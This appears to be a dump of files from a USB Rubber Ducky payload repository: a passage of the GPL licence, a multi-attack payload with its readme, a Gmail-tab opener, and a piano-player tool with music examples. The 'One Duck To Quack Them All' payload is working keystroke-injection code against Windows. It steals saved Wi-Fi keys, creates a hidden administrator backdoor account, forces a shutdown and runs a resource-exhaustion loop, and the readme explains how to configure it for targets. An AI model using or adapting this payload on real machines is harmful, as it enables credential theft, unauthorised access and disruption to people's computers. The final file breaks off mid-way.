anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<http://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<http://www.gnu.org/philosophy/why-not-lgpl.html>."
  },
  {
    "path": "payloads/library/general/OneDuckToQuackThemAll/Payload.txt",
    "content": "REM Title: One Duck To Quack Them All\nREM Author: SaintCrossbow\nREM Description: Pack multiple attacks in a single payload - click button to advance the attack\nREM Click 1: LED G slow blink - Stealth exfil WiFi key (modified from original Hak5 payload)\nREM Click 2: LED R slow blink - Direct USB copy of WiFi keys\nREM Click 3: LED G fast blink - Add backdoor user\nREM Click 4: LED R fast blink - Shutdown PC immediately\nREM Click 5: LED R/G alternate - Fork bomb (really resource bomb)\nREM Click 6: LED G morse A - USB storage\nREM Target: Windows\nREM Props: Darren Kitchen for the basis of stealth copy of wifi key\n\nATTACKMODE HID\nDELAY 2000\nLED_G\n\nVAR $MODESELECT = 0\nVAR $CLICK_OBS_WINDOW = 5000\nVAR $CLICK_OBS_TIME = 0\nVAR $CLICK_TICK = 800\n\nFUNCTION QUIET_STEAL_WIFI()\n  LED_R\n  ATTACKMODE HID\n  $_JITTER_ENABLED = TRUE\n  DELAY 2000\n  GUI r\n  DELAY 1000\n  STRING powershell \"$cssid= (Get-NetConnectionProfile).Name[0]; netsh wlan show profile name=(\"$cssid\") key=clear|?{$_-match'SSID n|Key C'}|%{($_ -split':')[1]}>$env:tmp\\tmptst\"\n  DELAY 300\n  ENTER\n  DELAY 3000\n  GUI r\n  DELAY 300\n  $_JITTER_ENABLED = FALSE\n  STRINGLN powershell \"foreach($b in $(cat $env:tmp\\tmptst -En by)){foreach($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){if($b-band$a){$o+='%{NUMLOCK}'} else {$o+='%{CAPSLOCK}'}}};$o+='%{SCROLLLOCK}';echo $o >$env:tmp\\tmptst\"\n  DELAY 100\n  GUI r\n  DELAY 300\n  STRING powershell \"$o=(cat $env:tmp\\tmptst);Add-Type -A System.Windows.Forms; [System.Windows.Forms.SendKeys]::SendWait($o);rm $env:tmp\\tmptst\"\n  DELAY 100\n  SAVE_HOST_KEYBOARD_LOCK_STATE\n  $_EXFIL_MODE_ENABLED = TRUE\n  $_EXFIL_LEDS_ENABLED = TRUE\n  DELAY 100\n  ENTER\n  WAIT_FOR_SCROLL_CHANGE\n  LED_G\n  $_EXFIL_MODE_ENABLED = FALSE\n  $_EXFIL_LEDS_ENABLED = FALSE\n  RESTORE_HOST_KEYBOARD_LOCK_STATE \nEND_FUNCTION\n\nFUNCTION DIRECT_STEAL_WIFI()\n  REM TODO Replace in final payload with DUCKY\n  LED_R\n  HIDE_PAYLOAD\n  ATTACKMODE HID STORAGE\n  $_JITTER_ENABLED = TRUE\n  DELAY 9000\n  GUI r\n  DELAY 1500\n  STRINGLN powershell \n  DELAY 3000\n  STRINGLN $d=(Get-Volume -FileSystemLabel 'Ducky').DriveLetter+':'; cd $d; netsh wlan export profile key=clear \n  DELAY 3000\n  STRINGLN exit\n  RESTORE_PAYLOAD\n  LED_G\nEND_FUNCTION\n\nFUNCTION CREATE_BACKDOOR()\n  LED_R\n  ATTACKMODE HID\n  $_JITTER_ENABLED = TRUE\n  DELAY 2000\n  GUI r\n  DELAY 1000\n  STRING cmd\n  DELAY 500\n  CTRL-SHIFT ENTER\n  DELAY 2000\n  ALT y\n  DELAY 1000\n  STRINGLN net user /add newuser newpass\n  DELAY 500\n  STRINGLN net localgroup administrators newuser /add\n  DELAY 500\n  STRINGLN exit\n  LED_G\nEND_FUNCTION\n\nREM I realize this is more of an iterative power hog than a strictly ballroom fork bomb\nFUNCTION FORK_BOMB()\n  LED_R\n  ATTACKMODE HID\n  $_JITTER_ENABLED = TRUE\n  DELAY 2000\n  GUI r\n  DELAY 1000\n  STRING powershell \"while(1){&calc}\"\n  DELAY 200\n  ENTER\nEND_FUNCTION\n\nFUNCTION IMMEDIATE_SHUTDOWN()\n  LED_R\n  ATTACKMODE HID\n  $_JITTER_ENABLED = TRUE\n  DELAY 2000\n  GUI r\n  DELAY 1000\n  STRING shutdown -t 0 -f -s\n  DELAY 200\n  ENTER\nEND_FUNCTION\n\nREM Default is single click\nLED_G\nWAIT_FOR_BUTTON_PRESS\n\nREM Clicking resets observation time to ensure you have right mode\nREM So any attack will delay for $CLICK_OBS_WINDOW seconds\nBUTTON_DEF\n  $CLICK_OBS_TIME = 0\n  $MODESELECT = ( $MODESELECT + 1 )  \nEND_BUTTON\n\nREM Start the attack\nWHILE ( $CLICK_OBS_TIME < $CLICK_OBS_WINDOW )\n  IF ( $MODESELECT == 0) THEN\n    LED_G\n  ELSE IF ( $MODESELECT == 1 ) THEN\n    LED_R\n  ELSE IF ( $MODESELECT == 2 ) THEN\n    LED_G\n    DELAY 100\n    LED_OFF\n    DELAY 100\n    LED_G\n    DELAY 100\n    LED_OFF\n    DELAY 100\n    LED_G\n    DELAY 100\n  ELSE IF ( $MODESELECT == 3 ) THEN\n    LED_R\n    DELAY 100\n    LED_OFF\n    DELAY 100\n    LED_R\n    DELAY 100\n    LED_OFF\n    DELAY 100\n    LED_R\n    DELAY 100\n  ELSE IF ( $MODESELECT == 4 ) THEN\n    LED_R\n    DELAY 200\n    LED_G\n    DELAY 200\n    LED_R\n    DELAY 200\n    LED_G\n    DELAY 200\n  ELSE \n\tLED_G\n\tDELAY 100\n\tLED_OFF\n\tDELAY 100\n    LED_G\n\tDELAY 500\n\tLED_OFF\n\tDELAY 100\n  END_IF\n  DELAY $CLICK_TICK\n  $CLICK_OBS_TIME = ( $CLICK_OBS_TIME + $CLICK_TICK )\n  LED_OFF\n  DELAY $CLICK_TICK\n  $CLICK_OBS_TIME = ( $CLICK_OBS_TIME + $CLICK_TICK )\nEND_WHILE\n\nREM Main attack\nIF ( $MODESELECT == 0) THEN\n  QUIET_STEAL_WIFI()\n  RESTART_PAYLOAD\nELSE IF ( $MODESELECT == 1 ) THEN\n  DIRECT_STEAL_WIFI()\n  RESTART_PAYLOAD\nELSE IF ( $MODESELECT == 2 ) THEN\n  CREATE_BACKDOOR()\n  RESTART_PAYLOAD\nELSE IF ( $MODESELECT == 3 ) THEN\n  IMMEDIATE_SHUTDOWN()\nELSE IF ( $MODESELECT == 4 ) THEN\n  FORK_BOMB()\nELSE\n  BUTTON_DEF\n    RESTART_PAYLOAD\n  END_BUTTON\n  ATTACKMODE HID STORAGE\n  LED_G\nEND_IF\n"
  },
  {
    "path": "payloads/library/general/OneDuckToQuackThemAll/readme.md",
    "content": "# One Duck to Quack Them All\n### Multiple attacks in a single payload chosen by click of a button\n**Warnings:**\n- Use only for demonstration, education, and / or testing on computers on which you have permission to test\n- Test fully to ensure the payloads work as you intend\n\n#### Summary\nThe ODTQTA payload lets you carry multiple attack on your Rubber Ducky without having to switchout SD cards. Once the rubber ducky is inserted into the target, click the button once to start the selection process. A payload will start in 5 seconds of selection, and each click resets the timer. To ensure you have the right payload, the LEDs reflect the current attack. \n\nAttacks include:\n- *Click 1*: LED G slow blink - Stealth exfil WiFi key (modified from original Hak5 payload)\n- *Click 2*: LED R slow blink - Direct USB copy of WiFi keys\n- *Click 3*: LED G fast blink - Add backdoor user\n- *Click 4*: LED R fast blink - Shutdown PC immediately\n- *Click 5*: LED R/G alternate - Fork bomb (really resource bomb)\n- *Click 6*: LED G morse A - USB storage\n\n### Payload processing\n- For attacks 1 - 3, once complete the LED will show green. Press the button to restart the Rubber Duck and potentially launch another attack\n- When in USB storage, you can restart the Rubber Ducky for a new attack by pressing the button\n\n#### Configuration\n1) Replace DUCKY with the name of your rubber ducky:\n```\nFUNCTION DIRECT_STEAL_WIFI()\n  ...\n  STRINGLN $d=(Get-Volume -FileSystemLabel 'DUCKY').DriveLetter+':'; cd $d; netsh wlan export profile key=clear \n  ...\nEND_FUNCTION\n```\n\n2) Provide your own unique ID and password below:\n```\nFUNCTION CREATE_BACKDOOR()\n  ...\n  STRINGLN net user /add newuser newpass\n  DELAY 500\n  STRINGLN net localgroup administrators newuser /add\n\nEND_FUNCTION\n```\n\n3) Adjust timing for your target PCs. I tested this on two Windows 10 PCs and one was super pokey\n\n#### Modification\nThe payload may be used as a template, either to alter the existing attacks or adding new attacks with new LED patterns. Best practice is to add new functions for each attack and call in the final IF/THEN statement.\n\n*This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.*\n\n*This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the GNU General Public License for more details.*\n\n*You should have received a copy of the GNU General Public License along with this program.If not, see http://www.gnu.org/licenses/*\n"
  },
  {
    "path": "payloads/library/general/Open4Gmail/payload.txt",
    "content": "REM Title: Open 4 Gmail\nREM Author: Dean A\nREM Description: Opens 4 visible Browser tabs with each having their own gmail account on them.\nREM Target: Mac OSX (Terminal)\nREM Version: 1.0\nREM Category: General\nDELAY 500\nGUI SPACE\nDELAY 100\nSTRING terminal\nDELAY 100\nENTER\nDELAY 500\nSTRING open https://mail.google.com/mail/u/0/ && open https://mail.google.com/mail/u/1/ && open https://mail.google.com/mail/u/2/ && open https://mail.google.com/mail/u/3/\nDELAY 1000\nENTER\n"
  },
  {
    "path": "payloads/library/general/Piano_Player/README.md",
    "content": "# Hak5 USB Rubber Ducky Piano Player\n\nScript that converts music notation written in tracker-like style into payload code for the Hak5 USB Rubber Ducky\n\n* **[Demo video!](https://hachyderm.io/@pirx/109641159141747124)**\n\n\n## Usage\n\nRuns on Python 3.x.\n\n```\nusage: piano_player.py [-h] [-p] NOTES_FILE PAYLOAD_FILE\n\npositional arguments:\n  NOTES_FILE        Path to notes file\n  PAYLOAD_FILE      Save payload code to this file\n\noptional arguments:\n  -h, --help        show this help message and exit\n  -p, --press-mode  Deploy with press mode\n```\n\nExample:\n\n```\n$ python3 piano_player.py notes.txt payload.txt\n```\n\nFirst, create the notes file. Then run the tool which creates the payload code file. You can then copy and paste that code into the HAK5 [payload encoder](https://encoder.hak5.org).\n\nSee example notes and payload files in the [examples](./examples/) directory.\n\n\n## Notes file format\n\nThe notes file looks like this:\n\n```\n50ms\nhttps://www.onlinepianist.com/virtual-piano\nc-3=q c#3=2 d-3=w d#3=3 e-3=e f-3=r f#3=5 g-3=t g#3=6 a-3=y a#3=7 b-3=u c-4=i c#4=9 d-4=o d#4=0 e-4=p f-4=z f#4=s g-4=x g#4=d a-4=c a#4=f b-4=v c-5=b c#5=h d-5=n d#5=j e-5=m f-5=, f#5=l g-5=. g#5=; a-5=/ a#5='\n\nd-3  f#3  e-5\nd-3  f#3  e-5\n---  ---  ---\nd-3  f#3  e-5\n---  ---  ---\nd-3  f#3  c-5\nd-3  f#3  e-5\n---  ---  ---\ng-3  b-3  g-5\n---  ---  ---\n---  ---  ---\n---  ---  ---\ng-3  ---  g-4\n```\n\n* Line 1: Tick duration (more on this later)\n* Line 2: URL of the piano (or other virtual instrument) app\n* Line 3: Space-separated note maps. Left hand side is the actual note, right hand is the corresponding keyboard keypress\n* Line 4: Leave blank\n* Line 5 until end: Notes and rests in tracker-like notation\n\n\n### About the tracker-like notation\n\nI thought an easy way to write music is something reminiscent of [tracker interface](https://en.wikipedia.org/wiki/Music_tracker) where notes are played by rows. All notes in the same row are played \"simultaneously\" (or in this case, gives the illusion that it is).\n\nEach row plays at approximately the tick duration (there will be some accumulated delay depending on number of keys held at the same time, etc.).\n\nYou would typically make one row equivalent to the duration of a 16th note in your piece, but this is by no means the rule.\n\nThe tracker can have one or more columns (\"tracks\"), but I have only tested it with up to three. Four or more might introduce significant enough delays to make the tempo unstable.\n\nEach element in the tracker is three characters long. A natural note looks like `d-3` and a sharp `d#3`. Flats can be used too as long as it's declared in the note maps.\n\nA rest is represented as `---`.\n\nThere should always be **two spaces** between notes or rests in the same row.\n\nFor a very simple example, this is the first two bars of _Twinkle, Twinkle, Little Star_:\n\n```\nc-4\nc-4\ng-4\ng-4\na-4\na-4\ng-4\n---\n```\n\nIn this case each row is equivalent to a quarter note.\n\n\n## Payload Behavior\n\n### Press mode OFF (default)\n\nBy default, the generated payload works as such:\n\n1. Insert rubber ducky into USB port\n2. Default browser is opened and navigates to the piano webapp URL specified in the notes file\n3. Rubber ducky plays the piano\n\n### Press mode ON\n\nWhen press mode is enabled (`-p` or `--press-mode` flag), the rubber ducky does not open a browser nor go to the piano webapp URL automatically upon insertion. Instead, the note sequence starts playing only when the rubber ducky button is pressed.\n\nThe linked demo video above is operating in press mode."
  },
  {
    "path": "payloads/library/general/Piano_Player/examples/game_of_thrones_notes.txt",
    "content": "65ms\nhttps://www.onlinepianist.com/virtual-piano\nc-3=q c#3=2 d-3=w d#3=3 e-3=e f-3=r f#3=5 g-3=t g#3=6 a-3=y a#3=7 b-3=u c-4=i c#4=9 d-4=o d#4=0 e-4=p f-4=z f#4=s g-4=x g#4=d a-4=c a#4=f b-4=v c-5=b c#5=h d-5=n d#5=j e-5=m f-5=, f#5=l g-5=. g#5=; a-5=/ a#5='\n\nc-3  g-3  g-5\n---  ---  ---\n---  ---  c-5\n---  ---  ---\n---  ---  d#5\n---  ---  f-5 \nc-3  g-3  g-5\n---  ---  ---\n---  ---  c-5 \n---  ---  ---\n---  ---  e-5\n---  ---  f-5 \nc-3  g-3  g-5\n---  ---  ---\n---  ---  c-5 \n---  ---  ---\n---  ---  e-5\n---  ---  f-5 \nc-3  g-3  g-5\n---  ---  ---\n---  ---  c-5 \n---  ---  ---\n---  ---  e-5\n---  ---  f-5 \nc-3  g-3  g-4\n---  ---  ---\n---  ---  ---\n---  ---  ---\n---  ---  ---\n---  ---  ---\nc-3  g-3  c-4\n---  ---  ---\n---  ---  ---\n---  ---  ---\n---  ---  ---\n---  ---  ---\nc-3  g-3  d#4\n---  ---  f-4 \n---  ---  g-4 \n---  ---  ---\n---  ---  ---\n---  ---  ---\nc-3  g-3  c-4\n---  ---  ---\n---  ---  ---\n---  ---  ---\n---  ---  d#4\n---  ---  f-4 \nd-3  g-3  d-5\n---  ---  ---\n---  ---  g-4\n---  ---  ---\n---  ---  a#4\n---  ---  c-5\nd-3  g-3  d-5\n---  ---  ---\n---  ---  g-4\n---  ---  ---\n---  ---  a#4\n---  ---  c-5\nd-3  g-3  d-5\n---  ---  ---\n---  ---  g-4\n---  ---  ---\n---  ---  a#4\n---  ---  c-5\nd-3  g-3  d-5\n---  ---  ---\nd-3  g-3  g-4\n---  ---  ---\nd-3  g-3  a#4\n---  ---  ---\nf-3  a#3  f-4\n---  ---  ---\n---  ---  ---\n---  ---  ---\n---  ---  ---\n---  ---  ---\nd-3  f-3  a#3\n---  ---  ---\n---  ---  ---\n---  ---  ---\n---  ---  ---\n---  ---  ---\nf-3  a#3  d#4\n---  ---  d-4\n---  ---  f-4\n---  ---  ---\n---  ---  ---\n---  ---  ---\nd-3  f-3  a#3\n---  ---  ---\n---  ---  ---\n---  ---  ---\n---  ---  d#4\n---  ---  d-4\nc-3  f-3  c-5\n---  ---  ---\n---  ---  f-4 \n---  ---  ---\n---  ---  g#4\n---  ---  a#4\nc-3  f-3  c-5\n---  ---  ---\n---  ---  f-4 \n---  ---  ---\n---  ---  g#4\n---  ---  a#4\nc-3  f-3  c-5\n---  ---  ---\n---  ---  f-4 \n---  ---  ---\n---  ---  g#4\n---  ---  a#4\nc-3  f-3  c-5\n---  ---  ---\nc-3  f-3  f-4 \n---  ---  ---\nc-3  f-3  g#4\n---  ---  ---\nd#3  g#3  c-5\n---  ---  ---\n---  ---  d#4\n---  ---  ---\nd#3  g#3  g#4\n---  ---  a#4\nd#3  g#3  c-5\n---  ---  ---\n---  ---  d#4\n---  ---  ---\nd#3  g#3  a#4\n---  ---  c-5\nd#3  a#3  a#4\n---  ---  ---\n---  ---  d#4\n---  ---  ---\nd#3  a#3  g-4\n---  ---  g#4\nd#3  a#3  a#4\n---  ---  ---\n---  ---  d#4\n---  ---  ---\nd#3  a#3  g#4\n---  ---  a#4\nc-3  f-3  g#4 \n---  ---  ---\n---  ---  c-4 \n---  ---  ---\nc-3  f-3  f-4\n---  ---  g-4\nc-3  f-3  g#4 \n---  ---  ---\n---  ---  c-4 \n---  ---  ---\nc-3  f-3  g-4\n---  ---  g#4\nc-3  g-3  g-4 \n---  ---  ---\n---  ---  c-4 \n---  ---  ---\nc-3  g-3  d#4 \n---  ---  f-4\nc-3  g-3  g-4 \n---  ---  ---\n---  ---  c-4 \n---  ---  ---\nc-3  g-3  d#4\n---  ---  f-4\nd#3  g#3  d#5\n---  ---  ---\n---  ---  g#4 \n---  ---  ---\nd#3  g#3  c-5 \n---  ---  d-5 \nd#3  g#3  d#5 \n---  ---  ---\n---  ---  g#4 \n---  ---  ---\nd#3  g#3  c-5 \n---  ---  d#5 \nd-3  g-3  d-5 \n---  ---  ---\n---  ---  g-4 \n---  ---  ---\nd-3  g-3  a#4\n---  ---  ---\nd-3  g-3  d-5\n---  ---  ---\n---  ---  d-5\n---  ---  ---\nd-3  g-3  a#4\n---  ---  ---\nc-3  g-3  c-5\n---  ---  ---\n---  ---  g-4\n---  ---  ---\nc-3  g-3  g#4\n---  ---  a#4\nc-3  g-3  c-5\n---  ---  ---\n---  ---  g-4\n---  ---  ---\nc-3  g-3  g#4\n---  ---  a#4\nc-3  g-3  c-5\n---  ---  ---\n---  ---  g-4\n---  ---  ---\nc-3  g-3  g#4\n---  ---  a#4\nc-3  g-3  c-5\n---  ---  ---\nc-3  g-3  g-4\n---  ---  ---\nc-3  g-3  g#4\n---  ---  a#4\n---  ---  c-5\n---  ---  ---\n---  ---  g-4\n---  ---  ---\n---  ---  g#4\n---  ---  a#4\n---  ---  c-5\n---  ---  ---\n---  ---  g-4\n---  ---  ---\n---  ---  g#4\n---  ---  a#4\n---  ---  c-5\n"
  },
  {
    "path": "payloads/library/general/Piano_Player/examples/game_of_thrones_payload.txt",
    "content": "EXTENSION OS_DETECTION\n    REM VERSION 1.0\n\n    REM USB Rubber Ducky Host OS Detection\n    REM Generic OS detection at a high view is a moving target\n    REM results may vary greatly depending \n    REM on a combination of many variables:\n    REM  - number of testing stages\n    REM  - specific devices and versions tested against\n    REM  - number of systems testing for (scope)\n    REM  - detection techniques (passive/invisible/active/hybrid)\n    REM  - overall speed\n    REM  - overall accuracy\n\n    REM TARGET:\n    REM DEFAULT - Windows, Mac, Linux\n    REM ADVANCED_DETECTION - Windows, Mac, Linux, iOS, ChromeOS, Android\n\n    REM USAGE:\n    REM Uncomment the function call below to run this extension inline (here)\n    REM or call DETECT_OS() anywhere in your payload after the extension\n    REM Place this extension and the DETECT_OS() before\n    REM you would like to first reference $_OS to execute payload code conditionally\n\n    REM DEPLOYMENT:\n    REM Plug Ducky into host\n\n    REM begin extension options\n    DEFINE VERBOSE FALSE\n    DEFINE ADVANCED_DETECTION FALSE\n    DEFINE STARTUP_DELAY 1500\n    DEFINE RESTART_WAIT 1000\n    DEFINE OS_DETECT_MODE HID\n    DEFINE OS_DETECT_VID VID_05AC\n    DEFINE OS_DETECT_PID PID_021E\n    DEFINE WINDOWS_HOST_REQUEST_COUNT 2\n    DEFINE HOST_RESPONSE_TIMEOUT 1000\n    REM end extension options\n\n    FUNCTION DETECT_OS()\n        $_HOST_CONFIGURATION_REQUEST_COUNT = 0\n        ATTACKMODE OS_DETECT_MODE OS_DETECT_VID OS_DETECT_PID\n        DELAY STARTUP_DELAY\n        SAVE_HOST_KEYBOARD_LOCK_STATE\n    \n        IF VERBOSE THEN\n            IF ADVANCED_DETECTION THEN\n                STRING ADVANCED OS DETECT\n            ELSE \n                STRING OS DETECT\n            END_IF\n    \n            ENTER\n            STRING test caps\n        END_IF\n    \n        IF ($_CAPSLOCK_ON == FALSE) THEN\n            LED_R\n            CAPSLOCK\n            DELAY HOST_RESPONSE_TIMEOUT \n        END_IF\n        LED_OFF\n    \n        IF VERBOSE THEN\n            ENTER\n            STRING test done\n        END_IF\n    \n        IF $_RECEIVED_HOST_LOCK_LED_REPLY THEN\n            IF VERBOSE THEN\n                ENTER\n                STRING received led response\n            END_IF\n            LED_G\n            IF ($_HOST_CONFIGURATION_REQUEST_COUNT > WINDOWS_HOST_REQUEST_COUNT) THEN\n                IF VERBOSE THEN\n                    ENTER\n                    STRING prediction: Windows\n                END_IF\n                $_OS = WINDOWS\n            ELSE\n                IF VERBOSE THEN\n                    ENTER\n                    STRING prediction: Linux\n                END_IF\n                $_OS = LINUX\n            END_IF\n        ELSE\n            IF VERBOSE THEN\n                ENTER\n                STRING no led response\n                ENTER\n                STRING prediciton: MacOS\n            END_IF\n            $_OS = MACOS\n        END_IF\n    \n        IF ADVANCED_DETECTION THEN\n            IF ( $_OS == LINUX ) THEN\n                IF VERBOSE THEN\n                    ENTER\n                    STRING soft reconnect\n                END_IF\n                ATTACKMODE OFF\n                DELAY RESTART_WAIT\n                ATTACKMODE OS_DETECT_MODE OS_DETECT_VID OS_DETECT_PID\n                DELAY CONNECT_WAIT\n                IF VERBOSE THEN\n                    ENTER\n                    STRING reconnected\n                END_IF\n                IF ($_CAPSLOCK_ON == TRUE) THEN\n                    IF VERBOSE THEN\n                        ENTER\n                        STRING caps led on\n                        ENTER\n                        STRING test numlock\n                    END_IF\n                    NUMLOCK\n                    DELAY HOST_RESPONSE_TIMEOUT\n                    IF VERBOSE THEN\n                        ENTER\n                        STRING test done\n                    END_IF\n                    IF ($_NUMLOCK_ON == FALSE) THEN\n                        IF VERBOSE THEN\n                            ENTER\n                            STRING no numlock led\n                            ENTER\n                            STRING prediciton: ChromeOS\n                        END_IF\n                        $_OS = CHROMEOS\n                    ELSE\n                        IF VERBOSE THEN\n                            ENTER\n                            STRING numlock led on\n                            ENTER\n                            STRING testing scrolllock\n                        END_IF\n                        SCROLLLOCK\n                        DELAY HOST_RESPONSE_TIMEOUT\n                        IF VERBOSE THEN\n                            ENTER\n                            STRING test done\n                        END_IF\n                        IF ($_SCROLLLOCK_ON == TRUE) THEN\n                            IF VERBOSE THEN\n                                ENTER\n                                STRING scrolllock led on\n                                ENTER\n                                STRING prediciton: Android\n                            END_IF\n                            $_OS = ANDROID\n                        ELSE\n                            IF VERBOSE THEN\n                                ENTER\n                                STRING no scrolllock reply \n                                ENTER\n                                STRING prediction: Linux\n                            END_IF\n                            $_OS = LINUX\n                        END_IF\n                    END_IF\n                END_IF\n            ELSE IF ($_OS == MACOS) THEN\n                IF ($_CAPSLOCK_ON == TRUE) THEN\n                    IF VERBOSE THEN\n                        ENTER\n                        STRING caps led on\n                        ENTER\n                        STRING prediction: iOS\n                    END_IF\n                    $_OS = IOS\n                ELSE \n                    IF VERBOSE THEN\n                        ENTER\n                        STRING no caps reply\n                        ENTER\n                        STRING prediction: MacOS\n                    END_IF\n                    $_OS = MACOS\n                END_IF\n            ELSE IF ($_OS == WINDOWS) THEN\n                IF VERBOSE THEN\n                    ENTER\n                    STRING Confident Windows Prediction\n                